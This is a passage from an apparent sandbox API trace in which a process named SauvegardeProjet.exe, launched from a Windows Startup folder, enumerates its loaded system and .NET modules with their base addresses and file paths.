cb=0xc | out: lpmodinfo=0x250a8a8*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0234.234] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.234] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0234.235] CoTaskMemFree (pv=0x4fb3308) [0234.235] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.235] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0234.235] CoTaskMemFree (pv=0x4fb3308) [0234.235] GetModuleInformation (in: hProcess=0x284, hModule=0x73ac0000, lpmodinfo=0x250cac0, cb=0xc | out: lpmodinfo=0x250cac0*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0234.236] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.236] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ac0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0234.236] CoTaskMemFree (pv=0x4fb3308) [0234.237] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.237] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ac0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0234.237] CoTaskMemFree (pv=0x4fb3308) [0234.237] GetModuleInformation (in: hProcess=0x284, hModule=0x73a30000, lpmodinfo=0x250ebcc, cb=0xc | out: lpmodinfo=0x250ebcc*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0234.238] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.238] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0234.238] CoTaskMemFree (pv=0x4fb3308) [0234.238] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.238] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0234.239] CoTaskMemFree (pv=0x4fb3308) [0234.239] GetModuleInformation (in: hProcess=0x284, hModule=0x73a10000, lpmodinfo=0x2510d94, cb=0xc | out: lpmodinfo=0x2510d94*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0234.240] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.240] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0234.240] CoTaskMemFree (pv=0x4fb3308) [0234.240] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.240] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0234.241] CoTaskMemFree (pv=0x4fb3308) [0234.241] GetModuleInformation (in: hProcess=0x284, hModule=0x73940000, lpmodinfo=0x2512ee4, cb=0xc | out: lpmodinfo=0x2512ee4*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0234.241] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.241] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73940000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0234.242] CoTaskMemFree (pv=0x4fb3308) [0234.242] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.242] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73940000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0234.243] CoTaskMemFree (pv=0x4fb3308) [0234.243] GetModuleInformation (in: hProcess=0x284, hModule=0x71080000, lpmodinfo=0x25150e0, cb=0xc | out: lpmodinfo=0x25150e0*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0234.243] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.243] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71080000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0234.244] CoTaskMemFree (pv=0x4fb3308) [0234.244] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.244] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71080000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0234.245] CoTaskMemFree (pv=0x4fb3308) [0234.245] GetModuleInformation (in: hProcess=0x284, hModule=0x70ee0000, lpmodinfo=0x2517290, cb=0xc | out: lpmodinfo=0x2517290*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0234.245] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.245] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0234.246] CoTaskMemFree (pv=0x4fb3308) [0234.246] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.246] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0234.247] CoTaskMemFree (pv=0x4fb3308) [0234.247] GetModuleInformation (in: hProcess=0x284, hModule=0x735f0000, lpmodinfo=0x2519458, cb=0xc | out: lpmodinfo=0x2519458*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0234.247] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.247] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x735f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0234.248] CoTaskMemFree (pv=0x4fb3308) [0234.248] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.248] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x735f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0234.249] CoTaskMemFree (pv=0x4fb3308) [0234.249] GetModuleInformation (in: hProcess=0x284, hModule=0x75b40000, lpmodinfo=0x251b564, cb=0xc | out: lpmodinfo=0x251b564*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0234.249] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.249] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75b40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0234.250] CoTaskMemFree (pv=0x4fb3308) [0234.250] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.250] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75b40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0234.251] CoTaskMemFree (pv=0x4fb3308) [0234.251] GetModuleInformation (in: hProcess=0x284, hModule=0x70de0000, lpmodinfo=0x251d670, cb=0xc | out: lpmodinfo=0x251d670*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0234.251] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.252] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70de0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0234.252] CoTaskMemFree (pv=0x4fb3308) [0234.252] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.252] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70de0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0234.253] CoTaskMemFree (pv=0x4fb3308) [0234.253] GetModuleInformation (in: hProcess=0x284, hModule=0x77ae0000, lpmodinfo=0x251f794, cb=0xc | out: lpmodinfo=0x251f794*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0234.254] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.254] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0234.254] CoTaskMemFree (pv=0x4fb3308) [0234.254] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.254] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0234.255] CoTaskMemFree (pv=0x4fb3308) [0234.255] CloseHandle (hObject=0x284) returned 1 [0234.400] GetCurrentProcessId () returned 0x564 [0234.400] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x284 [0234.400] EnumProcessModules (in: hProcess=0x284, lphModule=0x249bfec, cb=0x100, lpcbNeeded=0x636cee0 | out: lphModule=0x249bfec, lpcbNeeded=0x636cee0) returned 1 [0234.401] GetModuleInformation (in: hProcess=0x284, hModule=0x260000, lpmodinfo=0x249c12c, cb=0xc | out: lpmodinfo=0x249c12c*(lpBaseOfDll=0x260000, SizeOfImage=0x9c000, EntryPoint=0x2f6c3e)) returned 1 [0234.401] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.401] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x260000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0234.401] CoTaskMemFree (pv=0x4fb3308) [0234.401] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.401] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x260000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x70 [0234.401] CoTaskMemFree (pv=0x4fb3308) [0234.401] GetModuleInformation (in: hProcess=0x284, hModule=0x77b10000, lpmodinfo=0x249e30c, cb=0xc | out: lpmodinfo=0x249e30c*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0234.401] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.401] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77b10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0234.402] CoTaskMemFree (pv=0x4fb3308) [0234.402] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.402] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77b10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0234.402] CoTaskMemFree (pv=0x4fb3308) [0234.402] GetModuleInformation (in: hProcess=0x284, hModule=0x736a0000, lpmodinfo=0x24a0410, cb=0xc | out: lpmodinfo=0x24a0410*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0234.402] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.402] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x736a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0234.402] CoTaskMemFree (pv=0x4fb3308) [0234.402] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.402] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x736a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0234.402] CoTaskMemFree (pv=0x4fb3308) [0234.403] GetModuleInformation (in: hProcess=0x284, hModule=0x77540000, lpmodinfo=0x24a251c, cb=0xc | out: lpmodinfo=0x24a251c*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0234.403] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.403] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0234.403] CoTaskMemFree (pv=0x4fb3308) [0234.403] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.403] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0234.403] CoTaskMemFree (pv=0x4fb3308) [0234.403] GetModuleInformation (in: hProcess=0x284, hModule=0x75990000, lpmodinfo=0x24a4630, cb=0xc | out: lpmodinfo=0x24a4630*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0234.403] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.403] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75990000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0234.404] CoTaskMemFree (pv=0x4fb3308) [0234.404] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.404] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75990000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0234.404] CoTaskMemFree (pv=0x4fb3308) [0234.404] GetModuleInformation (in: hProcess=0x284, hModule=0x773f0000, lpmodinfo=0x24a6778, cb=0xc | out: lpmodinfo=0x24a6778*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0234.404] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.404] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x773f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0234.404] CoTaskMemFree (pv=0x4fb3308) [0234.404] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.404] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x773f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0234.405] CoTaskMemFree (pv=0x4fb3308) [0234.405] GetModuleInformation (in: hProcess=0x284, hModule=0x77490000, lpmodinfo=0x24a888c, cb=0xc | out: lpmodinfo=0x24a888c*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0234.405] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.405] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77490000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0234.405] CoTaskMemFree (pv=0x4fb3308) [0234.405] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.405] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77490000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0234.405] CoTaskMemFree (pv=0x4fb3308) [0234.405] GetModuleInformation (in: hProcess=0x284, hModule=0x75f70000, lpmodinfo=0x24aa998, cb=0xc | out: lpmodinfo=0x24aa998*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0234.406] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.406] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75f70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0234.406] CoTaskMemFree (pv=0x4fb3308) [0234.406] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.406] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75f70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0234.406] CoTaskMemFree (pv=0x4fb3308) [0234.406] GetModuleInformation (in: hProcess=0x284, hModule=0x758a0000, lpmodinfo=0x24acaa4, cb=0xc | out: lpmodinfo=0x24acaa4*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0234.406] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.406] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x758a0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0234.407] CoTaskMemFree (pv=0x4fb3308) [0234.407] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.407] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x758a0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0234.407] CoTaskMemFree (pv=0x4fb3308) [0234.407] GetModuleInformation (in: hProcess=0x284, hModule=0x75670000, lpmodinfo=0x24aebfc, cb=0xc | out: lpmodinfo=0x24aebfc*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0234.407] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.407] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75670000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0234.408] CoTaskMemFree (pv=0x4fb3308) [0234.408] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.408] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75670000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0234.408] CoTaskMemFree (pv=0x4fb3308) [0234.408] GetModuleInformation (in: hProcess=0x284, hModule=0x75660000, lpmodinfo=0x24b0d08, cb=0xc | out: lpmodinfo=0x24b0d08*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0234.408] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.408] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75660000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0234.408] CoTaskMemFree (pv=0x4fb3308) [0234.408] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.408] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75660000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0234.409] CoTaskMemFree (pv=0x4fb3308) [0234.409] GetModuleInformation (in: hProcess=0x284, hModule=0x73620000, lpmodinfo=0x24b2e1c, cb=0xc | out: lpmodinfo=0x24b2e1c*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0234.409] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.409] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73620000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0234.409] CoTaskMemFree (pv=0x4fb3308) [0234.409] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.409] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73620000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0234.410] CoTaskMemFree (pv=0x4fb3308) [0234.410] GetModuleInformation (in: hProcess=0x284, hModule=0x75db0000, lpmodinfo=0x24b4f64, cb=0xc | out: lpmodinfo=0x24b4f64*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0234.410] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.410] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75db0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0234.410] CoTaskMemFree (pv=0x4fb3308) [0234.410] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.410] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75db0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0234.411] CoTaskMemFree (pv=0x4fb3308) [0234.411] GetModuleInformation (in: hProcess=0x284, hModule=0x75810000, lpmodinfo=0x24b7070, cb=0xc | out: lpmodinfo=0x24b7070*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0234.411] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.411] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75810000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0234.411] CoTaskMemFree (pv=0x4fb3308) [0234.411] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.411] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75810000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0234.412] CoTaskMemFree (pv=0x4fb3308) [0234.412] GetModuleInformation (in: hProcess=0x284, hModule=0x75e10000, lpmodinfo=0x24b9174, cb=0xc | out: lpmodinfo=0x24b9174*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0234.412] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.412] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75e10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0234.412] CoTaskMemFree (pv=0x4fb3308) [0234.412] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.413] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75e10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0234.413] CoTaskMemFree (pv=0x4fb3308) [0234.413] GetModuleInformation (in: hProcess=0x284, hModule=0x772c0000, lpmodinfo=0x24bb280, cb=0xc | out: lpmodinfo=0x24bb280*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0234.413] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.413] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x772c0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0234.414] CoTaskMemFree (pv=0x4fb3308) [0234.414] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.414] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x772c0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0234.414] CoTaskMemFree (pv=0x4fb3308) [0234.414] GetModuleInformation (in: hProcess=0x284, hModule=0x75a30000, lpmodinfo=0x24bd37c, cb=0xc | out: lpmodinfo=0x24bd37c*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0234.414] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.414] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0234.415] CoTaskMemFree (pv=0x4fb3308) [0234.415] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.415] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0234.415] CoTaskMemFree (pv=0x4fb3308) [0234.415] GetModuleInformation (in: hProcess=0x284, hModule=0x75ae0000, lpmodinfo=0x24bf50c, cb=0xc | out: lpmodinfo=0x24bf50c*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0234.416] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.416] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0234.416] CoTaskMemFree (pv=0x4fb3308) [0234.416] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.416] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0234.417] CoTaskMemFree (pv=0x4fb3308) [0234.417] GetModuleInformation (in: hProcess=0x284, hModule=0x75be0000, lpmodinfo=0x24c1610, cb=0xc | out: lpmodinfo=0x24c1610*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0234.417] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.417] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75be0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0234.417] CoTaskMemFree (pv=0x4fb3308) [0234.417] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0234.417] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75be0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0234.418] CoTaskMemFree (pv=0x4fb3308) [0234.418] GetModuleInformation (in: 